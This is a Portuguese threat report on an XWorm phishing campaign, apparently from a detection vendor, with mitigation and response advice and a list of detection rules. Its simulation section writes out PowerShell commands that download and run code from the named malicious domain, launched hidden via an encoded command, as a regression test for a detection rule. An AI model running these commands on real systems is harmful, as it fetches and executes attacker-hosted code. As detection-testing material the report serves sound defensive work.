Script Malicioso Entregando Mais Malícia
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Um email de phishing entrega um anexo malicioso contendo um script BAT que inicia o PowerShell para baixar uma carga útil codificada em Base64. Após a decodificação, a carga útil se transforma em XWorm, um stealer .NET que identifica o host e exfiltra dados coletados através de um bot do Telegram. A persistência é estabelecida criando uma tarefa agendada que executa repetidamente o executável baixado. A operação depende de vários elementos de infraestrutura, incluindo uma isca de hospedagem de imagens falsa e pelo menos um IP comprometido usado para planejar a carga útil.
Investigação
A revisão do script BAT revelou uma linha única de comando do PowerShell que recupera um arquivo parecido com PNG de um domínio controlado pelo atacante. O conteúdo Base64 embutido é então sanitizado, invertido e decodificado para reconstruir o executável .NET. A análise binária mostrou que o malware registra uma tarefa agendada chamada Chromiumx2 e usa a API do Telegram para comando e controle e exfiltração de dados. Os investigadores extraíram indicadores principais de rede, incluindo o domínio de hospedagem, endereço IP associado e o endpoint da API do Telegram referenciado durante a execução.
Mitigação
Prevenir a execução de conteúdo BAT e PowerShell não confiável originado de anexos de email ou diretórios de download dos usuários. Aplicar uma lista de permissões de aplicativos para restringir a criação de tarefas agendadas e sinalizar novos registros de tarefas suspeitos. Monitorar e, quando possível, restringir o acesso de saída para endpoints da API do Telegram e bloquear os domínios maliciosos identificados nas camadas de DNS/proxy. Manter as detecções de endpoint atualizadas com novos indicadores observados e padrões de download baseados em scripts.
Resposta
Isolar endpoints onde a tarefa agendada Chromiumx2 ou Chromiumx2.exe é observada. Remover a tarefa agendada, deletar o binário malicioso e coletar artefatos (script, carga útil decodificada, XML de tarefa e logs relevantes) para escopo forense. Caçar pelo ambiente o mesmo nome de tarefa, comportamento de decodificação PowerShell similar, e tráfego direcionado pelo Telegram. Redefinir credenciais potencialmente expostas e notificar os usuários sobre o anexo de phishing para reduzir execução repetida.
Fluxo de Ataque
Detecções
Possível Abuso do Telegram Como Canal de Comando e Controle (via dns_query)
Proof of Value
Processo Suspeito Utiliza um URL na Linha de Comando (via cmdline)
Proof of Value
Download ou Upload via Powershell (via cmdline)
Proof of Value
Schtasks Aponta para Diretório / Binário / Script Suspeito (via cmdline)
Proof of Value
Strings Suspeitas do Powershell (via powershell)
Proof of Value
Arquivos Suspeitos no Perfil do Usuário Público (via file_event)
Proof of Value
Strings Suspeitas do Powershell (via cmdline)
Proof of Value
Possível Uso do Schtasks ou AT para Persistência (via cmdline)
Proof of Value
IOCs (SourceIP) para detectar: Script Malicioso Entregando Mais Malicias
Proof of Value
IOCs (DestinationIP) para detectar: Script Malicioso Entregando Mais Malicias
Proof of Value
Criação de Tarefa Agendada para Persistência do Chromiumx2 [Criação de Processo do Windows]
Proof of Value
Detectar Busca de Carga Útil do PowerShell Codificada em Base64 [Powershell do Windows]
Proof of Value
Execução de Simulação
Pré-requisito: O Check de Pré-voo de Telemetria & Base deve ter passado.
-
Narrativa do Ataque & Comandos:
O atacante quer baixar e executar uma carga útil maliciosa de um servidor web comprometido. Para evitar a detecção de assinatura clássica, eles embutem toda a lógica de download e execução em uma única string Base64 e invocam o PowerShell com-EncodedCommand. O comando referencia o URL exato que a regra de detecção monitora (https://uniworldrivercruises-co.uk/optimized_MSI.png).-
Codificar a carga útil maliciosa (um simples downloader que executa o script recebido):
$payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) Write-Host $b64B64 Resultante (exemplo):
SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...(truncado). -
Execute o comando codificado:
powershell -EncodedCommand SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...
Esta linha única gera a telemetria exata que a regra Sigma espera: um processo PowerShell, o
-EncodedCommandflag, e o URL malicioso dentro do bloco de script decodificado. -
-
Script de Teste de Regressão:
#------------------------------------------------- # Script de regressão para acionar a regra de detecção #------------------------------------------------- # 1. Construir a carga útil maliciosa $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) # 2. Execute a carga útil via um comando PowerShell codificado Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -EncodedCommand $b64" ` -WindowStyle Hidden -PassThru | Out-Null Write-Host "Comando codificado e malicioso executado." #------------------------------------------------- -
Comandos de Limpeza:
# Remover quaisquer arquivos temporários (nenhum esperado, pois a carga útil é transmitida diretamente) # Terminar quaisquer processos PowerShell ocultos iniciados pelo teste Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.StartInfo.Arguments -match "-EncodedCommand"} | Stop-Process -Force Write-Host "Limpeza completa."